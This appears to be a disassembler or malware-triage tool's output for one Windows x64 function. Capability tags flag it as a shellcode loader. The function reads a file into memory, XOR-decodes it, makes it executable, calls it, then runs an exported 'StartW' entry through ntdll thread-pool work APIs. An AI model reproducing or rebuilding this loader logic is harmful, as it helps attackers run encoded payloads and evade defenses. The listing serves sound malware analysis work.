Function at 0x1400013b0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x1a8]
sub rsp, 0x2a0
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rbp + 0x180], rax
call fcn.140001380
test al, al
je 0x1400013fa
mov eax, 1
jmp 0x1400016e8
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x70]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x21
lea rcx, [rbp + 0x70]
call fcn.140002330
nop
cmp qword [rbp + 0x100], 0
je 0x1400016dd
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x20
lea rcx, [rsp + 0x60]
call fcn.140002330
nop
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
movups xmm6, xmmword [rax]
movsd xmm0, qword [rax + 0x10]
movsd qword [rsp + 0x40], xmm0
xor edx, edx
lea r8d, [rdx + 2]
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rbx, qword [rax + 8]
movdqa xmm0, xmm6
psrldq xmm0, 8
movq rcx, xmm0
sub rbx, rcx
movq rcx, xmm6
sub rbx, rcx
add rbx, qword [rax]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rcx, [rsp + 0x70]
call fcn.140002790
test rax, rax
jne 0x1400014e1
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x60]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rsp + 0x60]
call fcn.1400012b0
add rbx, qword [rsp + 0x38]
je 0x1400016dd
mov r9d, 4
mov r8d, 0x1000
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x1400016dd
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
xor r8d, r8d
test rbx, rbx
jle 0x1400015b2
cmp rbx, 0x40
jb 0x1400015b2
mov rax, rbx
cqo
and edx, 0x3f
add rax, rdx
and eax, 0x3f
sub rax, rdx
mov rdx, rbx
sub rdx, rax
movdqa xmm2, xmmword [0x140004660]
lea rcx, [rdi + 0x20]
nop
movdqu xmm0, xmmword [rcx - 0x20]
pxor xmm0, xmm2
movdqu xmmword [rcx - 0x20], xmm0
movdqu xmm0, xmmword [rcx - 0x10]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rcx - 0x10], xmm1
movdqu xmm0, xmmword [rcx]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rcx], xmm1
movdqu xmm0, xmmword [rcx + 0x10]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rcx + 0x10], xmm1
add r8d, 0x40
lea rcx, [rcx + 0x40]
movsxd rax, r8d
cmp rax, rdx
jl 0x140001560
movsxd rax, r8d
cmp rax, rbx
jge 0x1400015d2
add rax, rdi
nop dword [rax]
xor byte [rax], 0x11
inc r8d
lea rax, [rax + 1]
movsxd rcx, r8d
cmp rcx, rbx
jl 0x1400015c0
lea r9, [rsp + 0x50]
mov r8d, 0x40
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rdx, [0x140001290]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
call fcn.140002870
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x140002a30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call rdi
lea rdx, str.StartW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
jne 0x140001642
lea r14, [rdi + 0x907eb0]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.TpAllocWork
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.TpPostWork
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.TpReleaseWork
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rsp + 0x48], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, r14
lea rcx, [rsp + 0x48]
call rsi
mov rcx, qword [rsp + 0x48]
call rdi
mov rcx, qword [rsp + 0x48]
call rbx
nop dword [rax]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400016d0
lea rcx, [rbp + 0x70]
call fcn.1400012b0
xor eax, eax
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.140002d50
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret